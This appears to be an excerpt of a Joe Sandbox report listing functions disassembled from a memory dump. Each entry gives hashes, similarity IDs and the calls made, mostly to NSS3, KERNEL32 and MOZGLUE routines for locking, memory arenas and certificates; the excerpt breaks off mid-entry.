Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: a6ab4bb44c6a5f7c9a977df5a0363a68721f3e953bac445a4dcce13a9735f5b7
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: E631B1B1D01B429BE710CF16C884662B7B4BFE9318B24822AD85C87B01EB71E4E4CBC0

Function 6CADFE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CAB5ADC,?,00000000,00000001,?,?,00000000,?,6CAABA55,?,?), ref: 6CADFE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CADFE5F
PR_Unlock.NSS3(78831D74), ref: 6CADFEC2
PR_SetError.NSS3(00000000,00000000), ref: 6CADFED6

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 1efb6e28105305e452e881048565e8dd242be775750b0aff0fa92c793f411cb4
Instruction ID: ef4d90af69687d1842e9e43501d5aba07edc239b76ff88dc4975d85951324538
Opcode Fuzzy Hash: 1efb6e28105305e452e881048565e8dd242be775750b0aff0fa92c793f411cb4
Instruction Fuzzy Hash: 01210431A00626ABD7019E74EC4479B7778FF05758F4E0128DD08A7A42EB30F9A4CBD0

Function 6CAD4FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD5003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6CADB60F,00000000), ref: 6CAD5064

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 4af6b5c4fca27cf634f5f9064fee09cdf6e64b45e5f34e8559e4d28b1913b22b
Instruction ID: 650a9c5ab9b8ab237d72c55b98be8bc51b3b9ecd92d7c13f7aaa0354dd518c86
Opcode Fuzzy Hash: 4af6b5c4fca27cf634f5f9064fee09cdf6e64b45e5f34e8559e4d28b1913b22b
Instruction Fuzzy Hash: EF3126B4A05A06CFDB00EF68D484A6ABBF4FF08744B158929D869D7700E730F894CBD2

Function 6CA91EC0 Relevance: 6.1, APIs: 4, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91EE2

Part of subcall function 6CAF1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6CA91D97,?,?), ref: 6CAF1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91F13
DER_DecodeTimeChoice_Util.NSS3(?,6CA94CA0,?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91F37
DER_DecodeTimeChoice_Util.NSS3(?,6CA94C1C,?,?,?,?,?,?,?,?,00000000,00000000,?,6CA94C64,?,-00000004), ref: 6CA91F53

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID:
API String ID: 3216063065-0
Opcode ID: de0769a830715d50e767f8dc4918a1be8b9558192cc03ef52beb45144a429bb4
Instruction ID: 5cb82e6f2702597bcbf9fe2cd75980218c4ab16f6856c6f27f5197a6561fbd89
Opcode Fuzzy Hash: de0769a830715d50e767f8dc4918a1be8b9558192cc03ef52beb45144a429bb4
Instruction Fuzzy Hash: 0721B3B1514259ABC700CF25CD01AABB7EDAB94698F440929EA55C3A00F331E599C7D2

Function 6CAF9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CAFA71A,FFFFFFFF,?,?), ref: 6CAF9FAB

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6CAFA71A,6CAFA71A,00000000), ref: 6CAF9FD9

Part of subcall function 6CAF1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF136A
Part of subcall function 6CAF1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF137E
Part of subcall function 6CAF1340: PL_ArenaGrow.NSS3(?,6CA8F599,?,00000000,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?), ref: 6CAF13CF
Part of subcall function 6CAF1340: PR_Unlock.NSS3(?,?,6CA9895A,00000000,?,00000000,?,00000000,?,00000000,?,6CA8F599,?,00000000), ref: 6CAF145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6CAFA71A,6CAFA71A,00000000), ref: 6CAFA009
PR_SetError.NSS3(FFFFE013,00000000,6CAFA71A,6CAFA71A,00000000), ref: 6CAFA045

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: a2afbc7091c8fa1ca303c6c1fd388205f8e839f889dd4e0100a31d7269b6bceb
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 5821AAB46002069BF7109F15EC50FA6B7A9FF4535CF14C128E93987781E776D85ACB90

Function 6CB02DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CB02E08

Part of subcall function 6CAF14C0: TlsGetValue.KERNEL32 ref: 6CAF14E0
Part of subcall function 6CAF14C0: EnterCriticalSection.KERNEL32 ref: 6CAF14F5
Part of subcall function 6CAF14C0: PR_Unlock.NSS3 ref: 6CAF150D

PORT_NewArena_Util.NSS3(00000400), ref: 6CB02E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6CB02E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB02E95

Part of subcall function 6CAF1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF1228
Part of subcall function 6CAF1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CAF1238
Part of subcall function 6CAF1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF124B
Part of subcall function 6CAF1200: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0,00000000,00000000,00000000,?,6CA988A4,00000000,00000000), ref: 6CAF125D
Part of subcall function 6CAF1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CAF126F
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CAF1280
Part of subcall function 6CAF1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CAF128E
Part of subcall function 6CAF1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CAF129A
Part of subcall function 6CAF1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CAF12A1

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a85e4ed7b4248596375b316110e9c132a52d01bb3a2b6cc4ebfb79dd91d35d52
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: DB21D4B1E403854BE700CF549D44BAB3B64AF9130CF110269ED185B752F7B2E69C8293

Function 6CABACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6CABACC2

Part of subcall function 6CA92F00: PORT_NewArena_Util.NSS3(00000800), ref: 6CA92F0A
Part of subcall function 6CA92F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CA92F1D

Part of subcall function 6CA92AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6CA90A1B,00000000), ref: 6CA92AF0
Part of subcall function 6CA92AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CA92B11

CERT_DestroyCertList.NSS3(00000000), ref: 6CABAD5E

Part of subcall function 6CAD57D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6CA9B41E,00000000,00000000,?,00000000,?,6CA9B41E,00000000,00000000,00000001,?), ref: 6CAD57E0
Part of subcall function 6CAD57D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6CAD5843

CERT_DestroyCertList.NSS3(?), ref: 6CABAD36

Part of subcall function 6CA92F50: CERT_DestroyCertificate.NSS3(?), ref: 6CA92F65
Part of subcall function 6CA92F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CA92F83

free.MOZGLUE(?), ref: 6CABAD4F

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: a0f11b2af485ce57794de10b8ced68e1d685edb94f9d0fee72898a62ab7b23be
Instruction ID: 515aa3c4ec3ebcda7049f539e5560b07ee1b07a867fe34528d494e726957f12b
Opcode Fuzzy Hash: a0f11b2af485ce57794de10b8ced68e1d685edb94f9d0fee72898a62ab7b23be
Instruction Fuzzy Hash: 8621C6B1D011149BEF10DF68D9065EEB7F9EF05258F094168D81977700FB31AE99CBA1

Function 6CAE3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAE3C9E
EnterCriticalSection.KERNEL32(?), ref: 6CAE3CAE
PR_Unlock.NSS3(?), ref: 6CAE3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3D02

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 3d1b5e4b0a35e8f0aaaede435652fd4a4193cdd2fbe678d0dc189f690cbaa836
Instruction ID: ff8f42987b19e36f3bd4b5ffdec3042907475d113642ca5f97e8f818f73d2b9a
Opcode Fuzzy Hash: 3d1b5e4b0a35e8f0aaaede435652fd4a4193cdd2fbe678d0dc189f690cbaa836
Instruction Fuzzy Hash: 3211D679A01214AFDB00AF28EC84A9A3778EF49368F194564ED4897722D730ED94CBE0

Function 6CAEECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6CAEF0AD,6CAEF150,?,6CAEF150,?,?,?), ref: 6CAEECBA

Part of subcall function 6CAF0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CA987ED,00000800,6CA8EF74,00000000), ref: 6CAF1000
Part of subcall function 6CAF0FF0: PR_NewLock.NSS3(?,00000800,6CA8EF74,00000000), ref: 6CAF1016
Part of subcall function 6CAF0FF0: PL_InitArenaPool.NSS3(00000000,security,6CA987ED,00000008,?,00000800,6CA8EF74,00000000), ref: 6CAF102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6CAEECD1

Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF10F3
Part of subcall function 6CAF10C0: EnterCriticalSection.KERNEL32(?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF110C
Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1141
Part of subcall function 6CAF10C0: PR_Unlock.NSS3(?,?,?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF1182
Part of subcall function 6CAF10C0: TlsGetValue.KERNEL32(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6CAEED02

Part of subcall function 6CAF10C0: PL_ArenaAllocate.NSS3(?,6CA98802,00000000,00000008,?,6CA8EF74,00000000), ref: 6CAF116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6CAEED5A

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 6e8f2a07390de3607d13449a9efb03f78d17ab56bfad61a03f86578bea48733f
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: 592184B1A007429BE700CF25D944B52B7E4BFA9348F15C215E81C87661E771E5D9C7D1

Function 6CB1EDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EE14

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

memcpy.VCRUNTIME140(?,?,6CB09767,00000000,00000000,6CB07FFA,?,6CB09767,?,8B7874C0,0000A48E), ref: 6CB1EE33

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 458ff2be34327e38c2ccefb4982d5be327e2eca3fad59efbe646e57a67f7cb63
Instruction ID: 71f40eb8a2181d6ee82f43415c210034d95626b0860b13d0d9d2612ce4b275c5
Opcode Fuzzy Hash: 458ff2be34327e38c2ccefb4982d5be327e2eca3fad59efbe646e57a67f7cb63
Instruction Fuzzy Hash: 1311CA72A087D6ABDB509E65DC88B4AB7A8FF0435CF104531E919C2E40E330F464C7E2

Function 6CA9DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CAB06A0: TlsGetValue.KERNEL32 ref: 6CAB06C2
Part of subcall function 6CAB06A0: EnterCriticalSection.KERNEL32(?), ref: 6CAB06D6
Part of subcall function 6CAB06A0: PR_Unlock.NSS3 ref: 6CAB06EB

CERT_NewCertList.NSS3 ref: 6CA9DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6CA9DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CA9DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CA9E029

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 38855752de80567239e119a1a7df081a2e2e8474b3134eb9e9fd38cf1115cd1d
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: F6116B71E54206ABDB100EA85C46BAF76F8BB8035CF080534E91CC7B02EB32C99492E1

Function 6CAB8DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CAB8DE7
EnterCriticalSection.KERNEL32 ref: 6CAB8DFC
PR_Unlock.NSS3 ref: 6CAB8E2D
PR_SetError.NSS3 ref: 6CAB8E49

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: dd247c9239d6baa5e49c2ca524661644b7806161bf9483f6f5faae44d02b72bf
Instruction ID: f55e7d9d3d0b7688a00722589e13bc95b83380fd92ef3aa489af88e106980d85
Opcode Fuzzy Hash: dd247c9239d6baa5e49c2ca524661644b7806161bf9483f6f5faae44d02b72bf
Instruction Fuzzy Hash: E1118F75605A119FD700AF78D5842ADBBF4FF05754F054929EC8897700E730E894CBD1

Function 6CB3AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6CB25F17,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6CB25F17,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6CB2AAD4), ref: 6CB3ACDB

Memory Dump Source

Source File: 00000001.00000002.2764652659.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000001.00000002.2761833512.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768255000.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2768962487.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769152294.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769436248.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2769591794.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ca10000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 211f5d9de75c901d6cfa5dc552e4225f032d6eb5d7767469770ac8a430f7bfe1
Instruction ID: c3fa6c26a803d6be8f6a40e700c5f2b2225e140bdb512a5ccc2d4f394d70a374
Opcode Fuzzy Hash: 211f5d9de75c901d6cfa5dc552e4225f032d6eb5d7767469770ac8a430f7bfe1
Instruction Fuzzy Hash: 0E018CB1601B619BEB50DF69ED08743B7E8FF44A99B504839D85EC3A00E730F458CB91

Function 6CAA1DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6CAA1DFB

Part of subcall function 6CA995B0: TlsGetValue.KERNEL32(00000000,?,6CAB00D2,00000000), ref: 6CA995D2
